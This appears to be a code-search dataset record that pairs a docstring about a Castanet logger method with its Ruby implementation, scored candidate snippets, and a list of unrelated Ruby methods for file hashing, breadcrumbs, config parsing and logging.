"def get_blocks\n if (branches = @cur_state.branches[@tape.val])\n branches.map { |branch| branch.block } \n else\n [@cur_state.default]\n end\n end",
"def get_cache_path_names\n if File.exists?(CachedAssetPackager::Config.send(\"#{self.asset_type}_cache_path_config\"))\n @cache_path_names = YAML::load(File.read(CachedAssetPackager::Config.send(\"#{self.asset_type}_cache_path_config\")))\n else\n @cache_path_names = {}\n each_file_set(:cache_path_name)\n write_cache_path_file\n end\n end",
"def block_view(context, block_name)\n \n app = context[:app]\n \n result = case block_name\n \n when 'site_breadcrumb_public'\n\n preffixes = Plugins::Plugin.plugin_invoke_all('ignore_path_prefix_breadcrumb', {:app => self})\n\n if app.request.path_info.empty? or app.request.path_info.start_with?(*preffixes)\n bc = ''\n else\n path = app.request.path_info\n if path.match /\\/page\\/\\d+/\n path.sub!(/\\/page\\/\\d+/,'')\n end\n home_page_path = SystemConfiguration::Variable.get_value('site.anonymous_front_page', nil)\n bc = app.t.breadcrumb.home\n\n if home_page_path != path\n path_array = path.split('/')\n result = \"\"\n summary = \"\\\\\"\n bc = path_array.slice(0, path_array.size-1).inject(\"\") do |result, item| \n if item.empty?\n result << \"<a href=\\\"/\\\">#{app.t.breadcrumb.home}</a>\"\n result\n else \n result << \"<span class=\\\"breadcrumb_separator\\\"> > </span> \" unless result.empty?\n result << \"<a href=\\\"#{summary}#{item}\\\">#{item.capitalize.gsub(/-/,' ')}</a>\"\n summary << \"#{item}\\\\\" \n result\n end\n end\n if path_array.size > 1\n bc << \" <span class=\\\"breadcrumb_separator\\\"> > </span> <span class=\\\"breadcrumb_last\\\">#{path_array.last.capitalize.gsub(/-/,' ')}</span>\"\n end\n end\n end \n\n bc == app.t.breadcrumb.home ? '' : bc\n\n\n when 'site_breadcrumb'\n preffixes = Plugins::Plugin.plugin_invoke_all('ignore_path_prefix_breadcrumb', {:app => self})\n \n if app.request.path_info.empty? or app.request.path_info.start_with?(*preffixes)\n bc = ''\n else\n breadcrumb = Site::BreadcrumbBuilder.build(app.request.path_info, context) \n bc_render = SiteRenders::BreadcrumbRender.new(breadcrumb, context)\n bc = bc_render.render \n end \n\n bc\n\n\n when 'site_adminmenu'\n \n if app.user and app.user.is_superuser?\n \n # Retrieve the admin menu options\n admin_menu = {:name => 'admin_menu', :title => 'Admin menu', :description => 'Administration menu'}\n admin_menu_items = Plugins::Plugin.plugin_invoke_all('menu', context)\n \n menu = Site::Menu.build(admin_menu, admin_menu_items)\n menu.language_in_routes = false\n SiteRenders::MenuRender.new(menu, context).render\n \n end\n \n when /^menu_/\n \n menu_name = block_name.match(/^menu_(.+)/)[1]\n \n if menu = Site::Menu.get(menu_name)\n menu_render = SiteRenders::MenuRender.new(menu, context)\n menu_render.render\n else\n ''\n end\n \n when /^view_/ \n\n view_name = block_name.sub(/view_/,'')\n \n if view = ContentManagerSystem::View.get(view_name)\n arguments = \"\"\n if app.request.path_info and app.request.path_info.split('/').length > 2\n arguments = (x=app.request.path_info.split('/')).slice(2,x.length).join('/')\n end\n ::CMSRenders::ViewRender.new(view, app).render(1, arguments) \n else\n ''\n end\n \n when /^content_/\n \n content_id = block_name.sub(/content_/,'')\n if content = ContentManagerSystem::Content.get(content_id.to_i)\n CMSRenders::ContentRender.new(content, app).render\n else\n ''\n end \n\n\n end\n\n return result\n \n \n end",
"def sp_hash_from_dirs(dirs)\n r = {}\n dirs.each do |dir|\n Dir.glob(\"#{dir}/*.rb\").each do |path|\n filename = File.basename(path)\n r[filename] ||= path\n end\n end\n r\nend",
"def bp_mock_directory_index\n\n tree_hash = BP.same_level_views(\"/mocks\")\n\n out = \"<ul>\"\n\n tree_hash.keys.each do |tree_hash_key|\n thk = tree_hash_key.gsub(\".html.erb\", \"\")\n thk = thk.gsub(\"/mocks\", \"\")\n\n out += content_tag :li, thk.gsub(\"/\", \"\")\n\n out += \"<ul>\"\n tree_hash[tree_hash_key].each do |tree_hash_value|\n thv = tree_hash_value.gsub(\".html.erb\", \"\")\n if thv != \"index\"\n out += content_tag :li, link_to(\"#{thv}\", \"/mocks/no_layout?t=#{thk}/#{thv}\")\n end\n\n end\n out += \"</ul>\"\n\n out += \"</li>\"\n end\n out += \"</ul>\"\n\n out.html_safe\nend",
"def read_fragment_source_file_to_subpaths_map\n @fragment_source_file_to_subpaths_map = { }\n @subpath_to_fragment_order_map = { }\n\n yaml = read_yaml\n this_set = yaml[yaml_key] || [ ]\n this_set.each do |subpath_to_aggregate_files_map|\n subpath_to_aggregate_files_map.each do |subpath, aggregate_files|\n @subpath_to_fragment_order_map[subpath] = [ ]\n \n aggregate_files.each do |aggregate_file|\n net_file = @component_source_proc.call(yaml_key.to_sym, aggregate_file)\n @fragment_source_file_to_subpaths_map[net_file] ||= [ ]\n @fragment_source_file_to_subpaths_map[net_file] << subpath\n @subpath_to_fragment_order_map[subpath] << net_file\n end\n end\n end\n end",
"def directory_hash(path, name=nil)\n data = {:folder => (name || path.split(\"/\").last)}\n data[:children] = children = []\n Dir.foreach(path) do |entry|\n next if (entry == '..' || entry == '.' || entry == 'yamproject.json' || entry == '.DS_Store')\n full_path = File.join(path, entry)\n if File.directory?(full_path)\n children << directory_hash(full_path, entry)\n else\n children << entry\n end\n end\n return data\nend",
"def partial_blocks_total\n partial_blocks_total = {}\n\n ancestros = (self.is_a? Module) ? ancestors : self.singleton_class.ancestors\n ancestros.reverse_each do |ancestro|\n partial_blocks_total.delete_if do |multimetodo, _|\n ancestro.instance_methods(false).include? multimetodo and not ancestro.partial_blocks.keys.include? multimetodo\n end\n\n ancestro.partial_blocks.each do |multimetodo, hash_tipos|\n hash_tipos.each do |lista_tipos, block|\n partial_blocks_total[multimetodo] ||= {}\n partial_blocks_total[multimetodo][lista_tipos] = block\n end\n end\n end\n\n partial_blocks_total\n end",
"def hash\n\t\t\t@path.hash\n\t\tend",
"def hash\n [name, url].hash\n end",
"def root hash = {}\n root_path hash\n end",
"def book_level_handles\n book_level_handles = {}\n\n @heb_ids.each do |heb_book_id|\n book_level_handles[\"2027/#{heb_book_id}\"] = Rails.application.routes.url_helpers.hyrax_monograph_url(@noid)\n end\n\n book_level_handles\n end",
"def sub_block_key\n @sub_block_key ||= [:index_block, @key]\n end",
"def build_hash_tree(filenames)\n files_tree = filenames.inject({}) { |h, i| t = h; i.split(\"/\").each { |n| t[n] ||= {}; t = t[n] }; h }\nend",
"def hashDirectory(directory)\n count = 0\n hash = {}\n Dir.foreach(directory) do |item|\n next if item == '.' || item == '..'\n hash[count] = item\n count = count + 1\n end\n hash\nend",
"def component_paths platform\n @component_paths||={} \n @component_paths['pc']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//,/\\/common/).pathmap('%d')\n @component_paths['common']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//).pathmap('%d')\n return @component_paths[platform]+@component_paths['common']\n end",
"def state_file\n return File.join(File.dirname(__FILE__), 'state.json')\n end",
"def get_public_breadcrumb_as_block(context)\n \n blocks = [{:name => 'site_breadcrumb_public',\n :module_name => :cms,\n :theme => Themes::ThemeManager.instance.selected_theme.name}]\n\n return blocks\n \n end",
"def assets_hash(scope)\n @assets_hash ||= scope.environment.each_logical_path.each_with_object({ :url => '', :path => '' }) do |logical_path, assets_hash|\n extensions = EXCLUDED_EXTENSIONS.join('|')\n unless File.extname(logical_path) =~ Regexp.new(\"^(\\.(#{extensions})|)$\")\n path_to_asset = scope.path_to_asset(logical_path)\n assets_hash[:url] << \"('#{logical_path}' url(\\\"#{path_to_asset}\\\")) \"\n assets_hash[:path] << \"('#{logical_path}' \\\"#{path_to_asset}\\\") \"\n end\n end\n end",
"def hash\n return (path + file_id.to_s).hash\n end",
"def get_hash(path=\"\")\n Element.get_hash(@element, path)\n end",
"def calculate_block_hash(block)\n Digest::SHA256.hexdigest(block.block_index.to_s + block.previous_block_hash + block.timestamp + block.data)\n end",
"def get_path_pins(path); end",
"def get_path_pins(path); end",
"def get_hash(path='.')\n Element.get_hash(@element, path)\n end",
"def state_path(path); end",
"def data_bags\n \n #Data bags follow a different structure then the other components, their structure is\n #|- data_bags\n #\\ \\- data_bag_1\n #| | |- values_1.json\n #| ...\n \n dir_list = get_directories_absolute_paths(data_bags_path)\n \n data_bags_absolute_paths = Array.new\n \n dir_list.each do |dir_path|\n data_bags_absolute_paths = data_bags_absolute_paths | get_chef_files_absolute_paths(dir_path)\n end\n \n data_bags_absolute_paths\n end",
"def navbar name_uniq = :root , &block\n result = \"\"\n section = Section.find_by_name_uniq(name_uniq.to_s)\n ([section] + section.children).each do |item|\n result += capture(item.name,item.path,&block)\n end if section \n concat result\n end",
"def keys\n return full_path.to_s.split('.') if full_path\n return [key.to_s] unless path&.present?\n\n [path, key].compact.join('.').split('.')\n end",
"def get_blocks\n @blocks\n end",
"def get_path_data(path)\n {\n 'asset_dependencies' => get_path_assets(path),\n 'links_to' => get_path_links_to(path),\n 'linked_to_from' => get_path_linked_to_from(path)\n }\n end",
"def dev_pod_hashes_map\n @dev_pod_hashes_map ||=\n dev_pod_sources.map { |name, attribs| [name, FolderChecksum.git_checksum(attribs[:path])] }.to_h\n end",
"def get_repo_paths\n\t\t\tpaths = {}\n\t\t\tpathspec = read_command_output( 'hg', 'paths' )\n\t\t\tpathspec.split.each_slice( 3 ) do |name, _, url|\n\t\t\t\tpaths[ name ] = url\n\t\t\tend\n\t\t\treturn paths\n\t\tend",
"def promethee_partials_for(path)\n promethee_partial_paths_for(path).map { |path| (path.dirname + path.basename('.html.erb').to_s[1..-1]).to_s }\n end",
"def bundle_location_for(bundle_name)\n bundle_name = bundle_name.to_sym\n is_local_client = client_directories.include?(bundle_name.to_s)\n is_local_framework = framework_directories.include?(bundle_name.to_s)\n\n ret = nil\n if is_local_client || is_local_framework\n bundle_type = is_local_framework ? :framework : :client\n ret = {\n :bundle_name => bundle_name,\n :bundle_type => bundle_type,\n :source_root => File.join(root_path, bundle_type.to_s.pluralize, bundle_name.to_s)\n }\n else\n ret = next_library.nil? ? nil : next_library.bundle_location_for(bundle_name)\n end\n\n return ret\n end",
"def hash(pathname)\n ext = pathname.extname\n ext = ('' == ext || nil == ext) ? :none : ext.to_sym\n digest = Digest::MD5.hexdigest(File.read(pathname.to_s))\n @scanned[ext] ||= {}\n @scanned[ext][digest] ||= []\n @scanned[ext][digest] << pathname\n end",
"def bits_full_local_path_unpacked\n \"#{bits_full_local_path}.unpacked\"\n end",
"def header_image_sub_directory\n dirs = Hash.new(\"headers\")\n dirs[\"ski_and_guiding_schools\"] = \"ski-school-headers\"\n dirs[\"summer_holidays\"] = \"summer-headers\"\n dirs[controller.action_name]\n end",
"def blocks_to_hash(blocks)\n blocks.each_with_object({}) do |block, hash|\n hash.merge!(block.to_hash)\n end\n end",
"def path\n return nil if self.hash_string.blank?\n File.join(*self.hash_string.scan(/(.)(.)(.*)/).flatten)\n end",
"def content_blocks\n @content_blocks ||= Hash.new {|h,k| h[k] = [] }\n end",
"def hash\n folder.hash ^ name.hash # eXclusive OR operator\n end",
"def pickup_breadcrumbs\n @bcname = request.path.inspect\n case\n when request.path == \"/\"\n @bcname = Bcrmb.find_by_bckey(\"home\").name\n when request.path =~ /(\\/as\\w\\w\\/)(\\w+)/\n token2in_path = $2\n if (mybc = Bcrmb.find_by_bckey(token2in_path))\n @bcname = mybc.send(:name)\n else\n @bcname = Bcrmb.find_by_bckey(\"allbc\").name\n end # if\n else\n @bcname = Bcrmb.find_by_bckey(\"allbc\").name\n end # case\n\n end",
"def templates\n ts = Dir.glob('**/*.json').reject{ |f| f['builds'] }\n ts.reject{ |f| f[/macos|rhel|sles|solaris|windows/] }\n\n b32 = []\n b64 = []\n config['public'].each do |p, vs|\n vs.each do |v, as|\n as.each do |a|\n case a\n when \"i386\", \"i686\"\n b32 << ts.select{ |i| i[/#{p}-#{v}-#{a}/] }\n else\n b64 << ts.select{ |i| i[/#{p}-#{v}-#{a}/] }\n end\n end\n end\n end\n list = b64 + b32\n list.flatten\nend",
"def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, status) = info.split\n hsh[file] = {:path => file, :mode_repo => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_repo => sha_src, :sha_index => sha_dest, :status => status}\n end\n hsh\n end",
"def [](path)\n parts = path.to_s.split('.')\n result = @configuration\n\n parts.each do |k|\n result = result[k]\n\n break if result.nil?\n end\n\n result\n end",
"def site_files\n exclude = %r/tmp$|bak$|~$|CVS|\\.svn/o\n\n rgxp = %r/\\A#{template}\\/?/\n paths = Hash.new {|h,k| h[k] = []}\n\n Find.find(template) do |p|\n next if exclude =~ p\n\n if test(?d, p)\n paths[p.sub(rgxp, '')]\n next\n end\n dir = ::File.dirname(p).sub(rgxp, '')\n paths[dir] << p.sub(rgxp, '')\n end\n\n paths\n end",
"def paths\n\t\tresponse = self.server.run_with_json_template( :paths )\n\t\treturn response.each_with_object({}) do |entry, hash|\n\t\t\thash[ entry[:name].to_sym ] = URI( entry[:url] )\n\t\tend\n\tend",
"def to_h\n hash = Hash.new\n hash[:flowcell_id] = self.id\n hash[:samples] = []\n each_sample_with_lane do |sample, lane|\n hash[:samples] << sample.to_h\n end\n hash[:paths] = self.paths.to_h\n hash\n end",
"def content_blocks\n @content_blocks ||= Hash.new {|h,k| h[k] = [] }\n end",
"def boots(state,path,descr=\"\")\n begin\n # get our current position\n curr = path.shift\n case\n when curr.instance_of?(String)\n descr=\"#{descr}.#{curr}\"\n\n # we may have a hash or a mbean from which to get attributes\n # either way, we can \"gettr\" done\n state = (state.respond_to?(:keys) ? state[curr] : state.send(curr))\n if path.empty?\n @results[descr]=state\n else\n boots(state,path,descr)\n end\n when curr.instance_of?(Array)\n curr_state = state\n curr.each do |rabbit|\n hole = path.dup\n my_desc = \"#{descr}.#{rabbit}\"\n my_state = (curr_state.respond_to?(:keys) ? curr_state[rabbit] : curr_state.send(rabbit))\n if hole.empty?\n @results[my_desc]=my_state\n else\n boots(my_state,hole,my_desc)\n end\n end\n end\n rescue Exception => e\n puts \"Exception required processing #{@name}: #{e}\"\n end\n end",
"def hash_keys\n [:img_dir, :img_url_prefix]\n end",
"def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, type) = info.split\n hsh[file] = {:path => file, :mode_file => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_file => sha_src, :sha_index => sha_dest, :type => type}\n end\n hsh\n end",
"def dir(hash={})\n\t\t$_TAGHASH_['GSj'].concat(DIRMAP[hash['value']])\n\tend",
"def get_bag_paths\n bag_paths = Array.new\n \n Dir.glob(@path).each do |entry|\n if !(File.directory? entry) || entry == \".\" || entry == \"..\"\n next\n end\n \n bag_paths.push entry\n end\n \n return bag_paths\n end",
"def get_hash(machines)\n branch = get_branch_id\n hash = Digest::SHA1.hexdigest(machines.sort.join)\n \"#{branch}__#{hash}\"\n end",
"def path_hash(path)\n if File.exist?(path)\n %x{\n { cd cookbooks;\n export LC_ALL=C;\n find #{path} -type f -exec md5sum {} + | sort; echo;\n find #{path} -type d | sort;\n find #{path} -type d | sort | md5sum;\n } | md5sum\n }.split(' ', 2).first\n end\n end",
"def block_list(context={})\n \n blocks = []\n blocks.concat(get_menus_as_blocks(context))\n blocks.concat(get_breadcrumb_as_block(context))\n blocks.concat(get_public_breadcrumb_as_block(context))\n blocks.concat(get_views_as_blocks(context))\n blocks.concat(get_contents_as_blocks(context))\n \n return blocks\n \n end",
"def cms_blocks_attributes\n self.cms_blocks.inject([]) do |arr, block|\n block_attr = {}\n block_attr[:label] = block.label\n block_attr[:content] = block.content\n block_attr[:id] = block.id\n arr << block_attr\n end\n end",
"def job_hash\n [@image,@config].hash\n end",
"def job_hash\n [@image,@config].hash\n end",
"def mainchain_tip_hash\n head = Toshi::Models::Block.head\n head ? head.hsh : nil\n end",
"def get_hash()\n\t\t\treturn @config.clone()\n\t\tend",
"def modules_hash\n @modules\n end",
"def modules_hash\n @modules\n end",
"def blocks\n @blocks ||= []\n end",
"def test_block_hash_match\n \tblock = \"1|1c12|SYSTEM>George(100)|1518892051.740967000|abb2\".split(\"|\")\n \tassert(@bv.block_hash_correct(block))\n end",
"def read_component_configuration component,platform,configuration\n hp_dir=File.join(configuration['base_dir'],'src','hand',platform,component)\n hc_dir=File.join(configuration['base_dir'],'src','hand','common',component)\n gp_dir=File.join(configuration['base_dir'],'src','gen',platform,component)\n gc_dir=File.join(configuration['base_dir'],'src','gen','common',component)\n cfg={}\n [hp_dir,hc_dir,gp_dir,gc_dir].each do |cfg_dir|\n file_to_merge=File.join(cfg_dir,'build.cfg')\n if File.exists?(file_to_merge)\n cfg_to_merge=read_configuration(file_to_merge)\n cfg=merge_configurations(cfg,cfg_to_merge) \n end\n end\n return cfg\nend",
"def all_chunk_hashes\n\t\t\n\t\tbegin\n\t\t\t@all_chunk_map = \"\"\n\t\t\t0.upto(num_chunks-1) { |i|\n\t\t\t\t@all_chunk_map += sha1_chunk(i)\n\t\t\t}\n\n\t\tend unless @all_chunk_map\n\t\t@all_chunk_map\n\tend",
"def paths\n paths = {}\n end",
"def paths\n paths = {}\n end",
"def read_configuration filename\n puts \"Reading configuration from #{filename}\"\n lines=File.readlines(filename)\n cfg={}\n #change in the dir of the file to calculate paths correctly\n cfg_dir=File.dirname(filename)\n lines.each do |l|\n l.gsub!(\"\\t\",\"\")\n l.chomp!\n #ignore if it starts with a hash\n unless l=~/^#/ || l.empty?\n #clean up by trimming whitespaces\n l.gsub!(/\\s*=\\s*/,'=')\n l.gsub!(/\\s*,\\s*/,',')\n #\n if l=~/=$/\n trailing_equals=true\n end\n #split on equals\n fields=l.split('=')\n #more than one part needed\n if fields.size>1\n #the key is the first\n key=fields.first\n #take the key out of the array\n values=fields.drop(1)\n #the value to each key is the values array joined with space\n case key \n when \"include\",\"depend\",\"interface\",\"external\" \n cfg[key]||=[]\n #here we want to handle a comma separated list of prefixes\n incs=values.join\n cfg[key]+=incs.split(',')\n cfg[key].uniq!\n when \"out_dir\",\"base_dir\",\"model\" \n cfg[key]=File.expand_path(File.join(cfg_dir,values.join))\n else\n cfg[key]=values.join('=')\n end#case\n cfg[key]<<'=' if trailing_equals\n else\n puts \"ERROR - Configuration syntax error in #{filename}:\\n'#{l}'\"\n end#if size>1\n end#unless\n end#lines.each\n return cfg\nend",
"def getconfig\n output = zonecfg :info\n\n name = nil\n current = nil\n hash = {}\n output.split(\"\\n\").each do |line|\n case line\n when /^(\\S+):\\s*$/\n name = $1\n current = nil # reset it\n when /^(\\S+):\\s*(.+)$/\n hash[$1.intern] = $2\n when /^\\s+(\\S+):\\s*(.+)$/\n if name\n hash[name] = [] unless hash.include? name\n\n unless current\n current = {}\n hash[name] << current\n end\n current[$1.intern] = $2\n else\n err \"Ignoring '#{line}'\"\n end\n else\n debug \"Ignoring zone output '#{line}'\"\n end\n end\n\n hash\n end"
] |
[
"0.60676914",
"0.5850342",
"0.5690418",
"0.56755036",
"0.55619407",
"0.55347025",
"0.5502979",
"0.54916793",
"0.5462911",
"0.5432573",
"0.5431822",
"0.5383319",
"0.53820235",
"0.5358739",
"0.533334",
"0.5328978",
"0.532226",
"0.53191423",
"0.53161263",
"0.5314122",
"0.5294759",
"0.5290004",
"0.5288493",
"0.5285983",
"0.52803653",
"0.5277247",
"0.5277247",
"0.5275562",
"0.52725023",
"0.52473074",
"0.5230301",
"0.5182459",
"0.5169816",
"0.51464343",
"0.5144981",
"0.5116877",
"0.5101926",
"0.5091302",
"0.5088508",
"0.5081985",
"0.50497895",
"0.50496817",
"0.5034807",
"0.50208634",
"0.500461",
"0.49952868",
"0.49850202",
"0.4984863",
"0.49819094",
"0.49786317",
"0.49785778",
"0.49785778",
"0.49604315",
"0.49577174",
"0.49572745",
"0.4956916",
"0.49545342",
"0.49513292",
"0.49394715",
"0.49224955",
"0.49166906",
"0.49155456",
"0.49004474",
"0.48959342",
"0.48926452",
"0.48919836",
"0.48899743",
"0.48792574",
"0.48627383",
"0.48556808",
"0.48545787",
"0.48444548",
"0.48401892",
"0.48346403",
"0.4831478",
"0.4823759",
"0.48213",
"0.4817178",
"0.48157606",
"0.48134562",
"0.48127913",
"0.48111108",
"0.48080397",
"0.48033994",
"0.47980815",
"0.4796759",
"0.47892952",
"0.47876424",
"0.47876424",
"0.4786896",
"0.47849685",
"0.47787863",
"0.47787863",
"0.47786143",
"0.4776601",
"0.477081",
"0.47695026",
"0.47564477",
"0.47564477",
"0.47518066",
"0.47471386"
] |
0.0
|
-1
|
Logs messages from ticket operations. By default, this is a memoized instance of Ruby's Logger class with log level DEBUG and log device set to standard error. | Log level | Data logged | +++ | DEBUG | Request URLs, response code/body, SSL context | In production, you may want to silence Castanet output. To do so, set the log level > DEBUG or log device to nil.
|
def logger
@logger ||= Logger.new($stderr).tap do |l|
formatter = Logger::Formatter.new
l.level = Logger::DEBUG
l.formatter = lambda { |*args| "[#{Module.nesting.first}] #{formatter.call(*args)}" }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log(message)\n @ticket.log(message) unless message.blank?\n # always save the last log message\n @last_log_message = message\n end",
"def log\n @log || MPDClient.log\n end",
"def log\n Engine.logger\n end",
"def log\n @log\n end",
"def log()\n @log\n end",
"def devlog\n @@devlog ||= Logger.new(Rails.root.join(\"log/alipay-customers-webhook-#{Time.now.strftime('%Y-%m-%d')}.log\"))\n end",
"def log\n advanced[:log]\n end",
"def log(msg, type = :info, multipart: false)\n if dut_version > '0.15.0'\n put(\"k^#{LOG_CODES[type]}^#{msg}\")\n else\n Origen.log.send(type, msg)\n end\n end",
"def logs\n end",
"def send_log(message, token, dimensions, application_type = nil)\n request(message, token, dimensions, application_type)\n @log.debug(\"Successfully sent log=#{message}, with token=#{token} and dimensions=#{dimensions} to monasca-log-api\")\n rescue => e\n @log.warn('Sending message to monasca-log-api threw exception', exceptionew: e)\n end",
"def do_log( msg )\n log( msg )\n end",
"def log(msg)\n SystemLog.fact(title: self.class.name.underscore, payload: msg)\n end",
"def log(msg)\n SystemLog.fact(title: 'live-dynamo-controller', payload: msg)\n end",
"def log(msg)\n puts(msg) if @info_values['enable_debug_logging'] == \"Yes\"\n end",
"def logger\n Turntabler.logger\n end",
"def logs\n\n end",
"def logging(msg, severity = 1)\n return if ClientConfig::LOGGING.zero?\n LibLog.log(msg, severity)\n end",
"def log message\n @logs << message\n end",
"def log(message); logger.info(message); end",
"def log\n end",
"def log(msg)\n logger.info(\"#{tag} #{msg}\")\n end",
"def log(*data)\n hash = log_data_as_hash(*data)\n Log.log(prepend_log_context(hash))\n end",
"def log(msg)\n (@logger ||= OMF::Base::LObject.new(self.class)).info(msg)\n end",
"def log(msg, level = :devel)\n Log4r::NDC.push(\"jack_tube\")\n Log.__send__(level, msg)\n Log4r::NDC.pop\n end",
"def log_errors!\n if AnyCable.config.debug?\n # Print error with backtrace in debug mode\n AnyCable.capture_exception do |e|\n AnyCable.logger.error(\"#{e.message}:\\n#{e.backtrace.take(20).join(\"\\n\")}\")\n end\n else\n AnyCable.capture_exception { |e| AnyCable.logger.error(e.message) }\n end\n end",
"def log(msg)\n (@logger ||= OMF::Common::LObject.new(self.class)).info(msg)\n end",
"def log\n Lita.logger\n end",
"def logger ; @log end",
"def log\n return if @logger.nil?\n\n @logger.debug(\"Counter\") { \"attempt #{self}\" }\n end",
"def log(msg)\n Serv::Log.info(Time.now.to_s+': '+msg+\"\\n\")\n end",
"def log(msg)\n @logger.write(msg) if @logger\n end",
"def log(context, msg)\n @log << \"#{context}: #{msg}\"\n end",
"def log\n LOGGER\n end",
"def log(message, severity = :info) \n @rake_log ||= ActiveSupport::BufferedLogger.new(ImportProductSettings::LOGFILE)\n message = \"[#{Time.now.to_s(:db)}] [#{severity.to_s.capitalize}] #{message}\\n\"\n @rake_log.send severity, message\n puts message\n end",
"def log(message, severity = :info) \n @rake_log ||= ActiveSupport::BufferedLogger.new(ImportProductSettings::LOGFILE)\n message = \"[#{Time.now.to_s(:db)}] [#{severity.to_s.capitalize}] #{message}\\n\"\n @rake_log.send severity, message\n puts message\n end",
"def log \n @log #||= Log.create\n end",
"def log_errors!\n if AnyCable.config.debug?\n # Print error with backtrace in debug mode\n AnyCable.capture_exception do |e|\n stack = e.backtrace\n backtrace = stack ? \":\\n#{stack.take(20).join(\"\\n\")}\" : \"\"\n AnyCable.logger.error(\"#{e.message}#{backtrace}\")\n end\n else\n AnyCable.capture_exception { |e| AnyCable.logger.error(e.message) }\n end\n end",
"def __log(method, path, params, body, url, response, json, took, duration)\n logger.info \"#{method.to_s.upcase} #{url} \" +\n \"[status:#{response.status}, request:#{sprintf('%.3fs', duration)}, query:#{took}]\"\n logger.debug \"> #{__convert_to_json(body)}\" if body\n logger.debug \"< #{response.body}\"\n end",
"def call_log\n @call_log ||= TermuxRubyApi::SubSystems::CallLog.new(self)\n end",
"def log\n @logger ||= Logger.new(nil)\n @logger\n end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log (msg, **kwargs) Log.write(msg, :info, kwargs) end",
"def logger\n return @local_logger if @local_logger\n FileUtils.mkdir_p(File.dirname(log_path)) unless File.exists?(File.dirname(log_path))\n\n if API_KEYS[\"logentries\"]\n token = API_KEYS[\"logentries\"][Rails.env][\"nsc\"]\n @local_logger = Le.new(token, :debug => false, :local => log_path, :ssl => true, :tag => true)\n else\n @local_logger = Logger.new(log_path)\n end\n @local_logger\n end",
"def logger\r\n SmsCarrier::Base.logger\r\n end",
"def log()\n return @log unless @log.nil?\n @flow.log()\n end",
"def log\n @client.get(\"#{path}/log\")\n end",
"def log\n if @log.nil?\n @options[:possible_log_files].each do |log_file|\n begin\n file = File.open(log_file, File::WRONLY|File::APPEND|File::CREAT)\n @log = CertificateDepot::Log.new(file)\n rescue Errno::EACCES\n end\n end\n end; @log\n end",
"def log_message(message)\n @log.info(message) if @options[:logging_enabled]\n end",
"def log_message(message)\n @log.info(message) if @options[:logging_enabled]\n end",
"def log_message(message)\n @log.info(message) if @options[:logging_enabled]\n end",
"def log(type='Log', text)\n puts \"[#{type}] #{text}\"\n submit_log(LOG_HOST, LOG_PORT, type, text)\nend",
"def log(message, type)\n @messages << ApiApe::ApeDebugLog.new(message, type)\n end",
"def log_request\n ServerRequestLog.create! default_log_hash\n end",
"def log_message(message)\r\n @log.log_message(message)\r\n end",
"def log_request\n # REQUEST_LOG.info( {\n # time: Time.now.to_s,\n # ip: request.remote_ip,\n # path: request.path,\n # site: request.host,\n # user_agent: request.user_agent,\n # params: (request.request_parameters.blank? ? request.query_parameters : request.request_parameters),\n # device: sub_group_type,\n # referer_header: referer,\n # current_page_header: current_page,\n # landing_url_header: land_url,\n # visitor_id_header: request.env['HTTP_VISITOR_ID'],\n # session_id_header: request.env['HTTP_SESSION_ID'],\n # visitor_id: visitor_id,\n # session_id: session_id,\n # params: params\n # } )\n end",
"def test_logging\n\t$MEMORY_LOG.debug \"Test Memory Log : DEBUG\"\n\t$TIME_LOG.debug \"Test Time Log : DEBUG\"\n\t$MEMORY_LOG.error \"Test Memory Log : ERROR\"\n\t$TIME_LOG.error \"Test Time Log : ERROR\" \nend",
"def log_request(url, headers, body)\n logger = @api.logger\n logger.debug(\"Report request to: '%s'\" % url)\n logger.debug('HTTP headers: [%s]' %\n (headers.map { |k, v| [k, v].join(': ') }.join(', ')))\n logger.debug(body)\n end",
"def log(msg, level = :info)\n puts(\"ZapUpdater: \" + msg)\n RAILS_DEFAULT_LOGGER.info(\"ZapUpdater: \" + msg)\n @mail_log << msg + \"<br/>\\r\\n\" if level == :info\n end",
"def log_activity\n\n BgJob.enqueue(\n UserActivityLogJob,\n {\n client_id: @client.id,\n user_id: @edit_kyc_request.user_id,\n admin_id: @edit_kyc_request.admin_id,\n action: GlobalConstant::UserActivityLog.open_case,\n action_timestamp: Time.now.to_i,\n extra_data: {\n case_id: @edit_kyc_request.case_id\n }\n }\n )\n\n end",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def do_logging\n Log.debug \"debugging\"\n Log.info \"a piece of info\"\n Log.warn \"Danger, Will Robinson, danger!\"\n Log.error \"I dropped my Wookie! :(\"\n Log.fatal \"kaboom!\"\nend",
"def call(messages: [])\n @logger.debug(messages)\n end",
"def log\n unless self.class._slflogger\n self.class.createlogger\n end\n return self.class._slflogger\n end",
"def clog(msg, ltype = :debug, key = :global, logEng = [])\n log(msg, { type: @lType != ltype ? ltype : @lType, \n key: (key != @lKey ? key : @lKey),\n logEng: @llEng })\n end",
"def log(msg)\n return if logger.nil?\n logger.debug(msg)\n end",
"def <<(msg)\n unless @logdev.nil?\n @logdev.write(msg)\n end\n end",
"def <<(msg)\n @logdev.write(msg) if @logdev\n end",
"def logger\n @cycler.logger\n end",
"def debug(msg); @logger.debug(msg); end",
"def log(msg)\n\t\tSyslog.info(msg) if @verbose\n\tend",
"def LogMessages(log)\n @log_messages = log\n\n nil\n end",
